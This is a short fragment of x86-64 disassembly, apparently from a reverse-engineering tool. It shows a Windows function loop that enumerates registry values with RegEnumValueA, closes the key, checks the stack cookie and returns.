mov edx, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp eax, 0x103
jne 0x140022880
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0xa98]
mov rbx, qword [rsp + 0xa90]
mov rcx, qword [rbp + 0x970]
xor rcx, rsp
call fcn.14005df20
add rsp, 0xa80
pop rbp
ret